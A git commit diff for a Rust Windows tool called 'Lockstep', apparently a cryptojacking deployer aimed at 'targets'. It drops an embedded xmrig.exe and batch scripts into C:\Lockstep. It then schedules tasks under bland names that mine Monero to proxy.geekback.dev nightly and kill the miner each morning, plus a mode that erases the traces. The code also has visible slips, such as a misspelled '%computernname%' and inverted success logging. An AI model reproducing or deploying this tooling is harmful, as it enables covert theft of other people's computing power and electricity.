targets dont like the other format

simplify to movein/moveout and let windows task scheduler do the rest

src/main.rs

@@ -1,18 +1,27 @@
-
 extern crate alloc;
 
-use clap::{Parser, ValueEnum};
 use alloc::string::String;
+use clap::{Parser, ValueEnum};
 use std::fs;
 use std::fs::File;
-use std::process::{Command, Output};
 use std::io::{Result, Write};
 use std::path::Path;
+use std::process::{Command, Output};
 
-pub const APP_VERSION: &str = "0.0.1-PREALPHA";
+// Start Constants
 pub const DAILY_SRC: &str = include_str!("resources/daily.cmd");
+pub const DAILY_NAME: &str = "start";
+
+// Config Constants
 pub const CONFIG_SRC: &str = include_str!("resources/config.cmd");
+
+// Stop Constants
+pub const STOPWORK_SRC: &str = include_str!("resources/stop-work.cmd");
+pub const STOPWORK_NAME: &str = "stop";
+
+// Work Constants
 pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe");
+pub const SCHTASK_NAME: &str = "c:/windows/system32/schtasks.exe";
 pub const SLAVE_ROOT: &str = "Lockstep";
 pub const WORK_NAME: &str = "xmrig";
 pub const DAILY_WORK_NAME: &str = "Lockstep\\Daily Work";
@@ -21,14 +30,12 @@ pub const DAILY_STOP_NAME: &str = "Lockstep\\Yield";
 #[derive(Debug, Clone, Copy, Default, ValueEnum)]
 enum AppModes {
     #[default]
-    KillCommand,
     MoveIn,
-    RunWork,
     MoveOut,
 }
 
 #[derive(Parser, Debug)]
-#[command(name = "Lockstep", version = APP_VERSION, about = "Keep them in lockstep")]
+#[command(name = "Lockstep", version, about = "Keep them in lockstep")]
 struct Cli {
     app_modes: AppModes,
 }
@@ -44,106 +51,59 @@ struct Cli {
 ///
 /// * `Result<Output, io::Error>` - The output of the command if successful, or an I/O error.
 fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
-    Command::new(binary_path)
+    Command::new(binary_path).args(args).output()
-        .args(args)
+}
-        .output()
+
+fn printlog(to_say: &str) {
+    println!("[ ✔  ] {to_say}");
+}
+
+fn printerror(to_say: &str) {
+    println!("[ X ] {to_say}");
 }
 
 fn remove_command(name: &str) {
-    let binary = "C:/windows/system32/schtasks.exe";
+    let binary = SCHTASK_NAME;
     let parameters = ["/delete", "/tn", name, "/f"];
 
     match run_windows_binary(binary, &parameters) {
         Ok(output) => {
-            println!("Status: {}", output.status);
+            if output.status.success() {
-            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
+                printlog(format!("Task [{name}] removed.").as_str());
-            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
             }
-        Err(error) => {
-            eprintln!("Failed to execute -> {}", error);
         }
+        Err(error) => {}
     }
 }
 
 fn schedule_command(tod: &str, command: &str, name: &str) {
-    let binary = "C:/windows/system32/schtasks.exe";
+    let binary = SCHTASK_NAME;
-    let parameters = ["/create",
+    let parameters = [
-        "/tn", name,
+        "/create",
-        "/sc", "daily",
+        "/tn",
-        "/st", tod,
+        name,
-        "/sd", "01/01/2001",
+        "/sc",
-        "/tr", command];
+        "daily",
-
+        "/st",
-    match run_windows_binary(binary, &parameters) {
+        tod,
-        Ok(output) => {
+        "/sd",
-            println!("Status: {}", output.status);
+        "01/01/2001",
-            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
+        "/tr",
-            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
+        command,
-        }
-        Err(e) => {
-            eprintln!("Failed to execute process: {}", e);
-        }
-    }
-}
-
-fn run_schedule_daily_command() {
-    #[cfg(windows)] {
-        schedule_command("19:00", format!("C:\\{}\\daily.cmd", SLAVE_ROOT).as_str(), DAILY_WORK_NAME);
-        schedule_command("05:00", format!("C:\\{}\\stop_work.cmd", SLAVE_ROOT).as_str(), DAILY_STOP_NAME);
-    }
-    #[cfg(not(windows))] {
-        println!("[ ✔️ ] Scheduling [{}]", DAILY_WORK_NAME);
-        println!("[ ✔️ ] Scheduling [{}]", DAILY_STOP_NAME);
-    }
-}
-
-fn remove_daily_commands() {
-    #[cfg(windows)] {
-        remove_command(DAILY_WORK_NAME);
-        remove_command(DAILY_STOP_NAME);
-    }
-    #[cfg(not(windows))] {
-        println!("[ ✔️ ] Removing {}", DAILY_WORK_NAME);
-        println!("[ ✔️ ] Removing {}", DAILY_STOP_NAME);
-    }
-}
-
-fn run_monero_miner() {
-    println!("Starting heat soak");
-    #[cfg(windows)] {
-        let binary = "C:/lockstep/xmrig.exe";
-        let hostname = hostname::get().unwrap_or("UnknownHostname".into());
-        let parameters = ["-o", "proxy.geekback.dev",
-            "--rig-id", hostname.to_str().unwrap(),
-            "--huge-pages-jit",
-            "--randomx-1gb-pages",
-            "-B",
-            "--coin", "monero"
     ];
 
     match run_windows_binary(binary, &parameters) {
         Ok(output) => {
-                println!("Status: {}", output.status);
+            if output.status.success() {
-                println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
+                printerror(format!("Status: {}", output.status).as_str());
-                println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
+                printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
+                printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
+            } else {
+                println!("Failed to create task.");
+                printerror(format!("Status: {}", output.status).as_str());
+                printerror(format!("stdout: {}", String::from_utf8_lossy(&output.stdout)).as_str());
+                printerror(format!("stderr: {}", String::from_utf8_lossy(&output.stderr)).as_str());
             }
-            Err(e) => {
-                eprintln!("Failed to execute process: {}", e);
-            }
-        }
-    }
-}
-
-fn run_kill_command() {
-    let binary = "C:/windows/system32/taskkill.exe";
-    let work_name_path = format!("{}.exe", WORK_NAME);
-    let parameters = ["/IM", work_name_path.as_str(), "/F"];
-
-    match run_windows_binary(binary, &parameters) {
-        Ok(output) => {
-            println!("Status: {}", output.status);
-            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
-            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
         }
         Err(e) => {
             eprintln!("Failed to execute process: {}", e);
@@ -152,54 +112,42 @@ fn run_kill_command() {
 }
 
 fn create_file(name: &str, content: &[u8]) {
-// File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
     let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name);
-    File::create(Path::new(full_path.as_str())).unwrap().write(content).unwrap();
+    println!("Creating [{full_path}]");
+    File::create(Path::new(full_path.as_str()))
+        .unwrap()
+        .write(content)
+        .unwrap();
 }
 
 fn drop_scripts_and_work() {
-    #[cfg(windows)] {
+        printlog(format!("Creating {}", SLAVE_ROOT).as_str());
         let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
-        create_file("daily.cmd", DAILY_SRC.as_bytes());
+        create_file(format!("{}.cmd", DAILY_NAME).as_str(),  DAILY_SRC.as_bytes());
         create_file("config.bat", CONFIG_SRC.as_bytes());
         create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN);
-    }
+        create_file(format!("{}.cmd", STOPWORK_NAME).as_str(), STOPWORK_SRC.as_bytes());
-    #[cfg(not(windows))] {
+
-        println!("[ ✔️ ] Create path.");
-        println!("[ ✔️ ] Drop daily cmd");
-        println!("[ ✔️ ] Drop config");
-        println!("[ ✔️ ] Drop worker");
-    }
 }
 
 fn nuke_scripts_and_work() {
-  #[cfg(windows)] {
     let to_remove = format!("C:\\{}", SLAVE_ROOT);
-        fs::remove_dir_all(Path::new(to_remove));
+    fs::remove_dir_all(&Path::new(&to_remove));
-      }
-
-    #[cfg(not(windows))] {
-        println!("[ ✔️ ] Nuke of {}", SLAVE_ROOT);
-    }
 }
 
 fn main() {
-    println!("Launching LockStep {}", APP_VERSION);
+    println!("Launching LockStep");
     let opts = Cli::parse();
 
     match opts.app_modes {
-        AppModes::KillCommand => {
-            run_kill_command();
-        }
         AppModes::MoveIn => {
-            run_schedule_daily_command();
+            schedule_command("19:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, DAILY_NAME).as_str(), DAILY_WORK_NAME );
+            schedule_command( "05:00", format!("C:\\{}\\{}.cmd", SLAVE_ROOT, STOPWORK_NAME).as_str(), DAILY_STOP_NAME);
             drop_scripts_and_work();
         }
-        AppModes::RunWork => {
-            run_monero_miner();
-        }
         AppModes::MoveOut => {
-            remove_daily_commands();
+            remove_command(DAILY_WORK_NAME);
+            remove_command(DAILY_STOP_NAME);
             nuke_scripts_and_work();
         }
     }

src/resources/daily.cmd

@@ -1,4 +1,5 @@
 @echo off
 cls
 echo Starting Daily Commands
-pause
+cd c:\lockstep
+xmrig.exe -o proxy.geekback.dev --rig-id %computernname%

src/resources/stop-work.cmd

@@ -0,0 +1,3 @@
+@echo off
+cls
+taskkill /im xmrig.exe /f